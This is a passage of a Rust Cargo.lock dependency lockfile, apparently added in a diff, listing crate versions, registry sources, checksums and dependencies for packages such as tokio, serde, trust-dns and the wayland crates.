"registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e24f1ad8321ca0e8a1e0ac13f23cb668e6f5466c2c57319f6a5cf1cc8e3b1c" +dependencies = [ + "linked-hash-map", +] + +[[package]] +name = "match_cfg" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4" + +[[package]] +name = "memchr" +version = "2.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" + +[[package]] +name = "memmap" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6585fd95e7bb50d6cc31e20d4cf9afb4e2ba16c5846fc76793f11218da9c475b" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset 0.7.1", +] + +[[package]] +name = "nodrop" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "object" +version = "0.32.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "pango" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4" +dependencies = [ + "gio", + "glib", + "libc", + "once_cell", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "parking" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" +dependencies = [ + "atomic-waker", + "fastrand 2.0.1", + "futures-io", +] + +[[package]] +name = "pkg-config" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" + +[[package]] +name = "polling" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "concurrent-queue", + "libc", + "log", + "pin-project-lite", + "windows-sys 0.48.0", +] + +[[package]] +name = "polling" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf63fa624ab313c11656b4cda960bfc46c410187ad493c41f6ba2d8c1e991c9e" +dependencies = [ + "cfg-if", + "concurrent-queue", + "pin-project-lite", + "rustix 0.38.28", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro-crate" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +dependencies = [ + "once_cell", + "toml_edit 0.19.15", +] + +[[package]] +name = "proc-macro-crate" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97dc5fea232fc28d2f597b37c4876b348a40e33f3b02cc975c8d006d78d94b1a" +dependencies = [ + "toml_datetime", + "toml_edit 0.20.2", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro2" +version = "1.0.70" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quick-xml" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eff6510e86862b57b210fd8cbe8ed3f0d7d600b9c2863cd4549a2e033c66e956" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "reis" +version = "0.1.0" +source = "git+https://github.com/ids1024/reis#c836d229245f19e46b42ed9a09cc446baf49f942" +dependencies = [ + "futures", + "rustix 0.38.28", + "tokio", +] + +[[package]] +name = "resolv-conf" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52e44394d2086d010551b14b53b1f24e31647570cd1deb0379e2c21b329aba00" +dependencies = [ + "hostname", + "quick-error", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.37.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" +dependencies = [ + "bitflags 1.3.2", + "errno", + "io-lifetimes", + "libc", + "linux-raw-sys 0.3.8", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustix" +version = "0.38.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys 0.4.12", + "windows-sys 0.52.0", +] + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "semver" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" + +[[package]] +name = "serde" +version = "1.0.193" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.193" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3081f5ffbb02284dda55132aa26daecedd7372a42417bbbab6f14ab7d6bb9145" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" + +[[package]] +name = "socket2" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b7d0a2c048d661a1a59fcd7355baa232f7ed34e0ee4df2eef3c1c1c0d3852d8" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "system-deps" +version = "6.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" +dependencies = [ + "cfg-expr", + "heck 0.4.1", + "pkg-config", + "toml", + "version-compare", +] + +[[package]] +name = "target-lexicon" +version = "0.12.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a" + +[[package]] +name = "tempfile" +version = "3.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" +dependencies = [ + "cfg-if", + "fastrand 2.0.1", + "redox_syscall", + "rustix 0.38.28", + "windows-sys 0.48.0", +] + +[[package]] +name = "termcolor" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "thiserror" +version = "1.0.51" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f11c217e1416d6f036b870f14e0413d480dbf28edbee1f877abaf0206af43bb7" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.51" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01742297787513b79cf8e29d1056ede1313e2420b7b3b15d0a768b4921f549df" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.35.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "pin-project-lite", + "signal-hook-registry", + "socket2 0.5.5", + "tokio-macros", + "tracing", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "toml" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.20.2", +] + +[[package]] +name = "toml_datetime" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", +] + +[[package]] +name = "trust-dns-proto" +version = "0.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3119112651c157f4488931a01e586aa459736e9d6046d3bd9105ffb69352d374" +dependencies = [ + "async-trait", + "cfg-if", + "data-encoding", + "enum-as-inner", + "futures-channel", + "futures-io", + "futures-util", + "idna 0.4.0", + "ipnet", + "once_cell", + "rand", + "smallvec", + "thiserror", + "tinyvec", + "tokio", + "tracing", + "url", +] + +[[package]] +name = "trust-dns-resolver" +version = "0.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a3e6c3aff1718b3c73e395d1f35202ba2ffa847c6a62eea0db8fb4cfe30be6" +dependencies = [ + "cfg-if", + "futures-util", + "ipconfig", + "lru-cache", + "once_cell", + "parking_lot", + "rand", + "resolv-conf", + "smallvec", + "thiserror", + "tokio", + "tracing", + "trust-dns-proto", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "uds_windows" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89daebc3e6fd160ac4aa9fc8b3bf71e1f74fbf92367ae71fb83a037e8bf164b9" +dependencies = [ + "memoffset 0.9.0", + "tempfile", + "winapi", +] + +[[package]] +name = "unicode-bidi" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna 0.5.0", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "version-compare" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "waker-fn" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wayland-backend" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19152ddd73f45f024ed4534d9ca2594e0ef252c1847695255dae47f34df9fbe4" +dependencies = [ + "cc", + "downcast-rs", + "nix", + "scoped-tls", + "smallvec", + "wayland-sys", +] + +[[package]] +name = "wayland-client" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ca7d52347346f5473bf2f56705f360e8440873052e575e55890c4fa57843ed3" +dependencies = [ + "bitflags 2.4.1", + "nix", + "wayland-backend", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e253d7107ba913923dc253967f35e8561a3c65f914543e46843c88ddd729e21c" +dependencies = [ + "bitflags 2.4.1", + "wayland-backend", + "wayland-client", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-misc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa5933740b200188c9b4c38601b8212e8c154d7de0d2cb171944e137a77de1e" +dependencies = [ + "bitflags 2.4.1", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-wlr" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad1f61b76b6c2d8742e10f9ba5c3737f6530b4c243132c2a2ccc8aa96fe25cd6" +dependencies = [ + "bitflags 2.4.1", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-scanner" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb8e28403665c9f9513202b7e1ed71ec56fde5c107816843fb14057910b2c09c" +dependencies = [ + "proc-macro2", + "quick-xml", + "quote", +] + +[[package]] +name = "wayland-sys" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15a0c8eaff5216d07f226cb7a549159267f3467b289d9a2e52fd3ef5aae2b7af" +dependencies = [ + "dlib", + "log", + "pkg-config", +] + +[[package]] +name = "widestring" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "653f141f39ec16bba3c5abe400a0c60da7468261cc2cbf36805022876bc721a8" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = 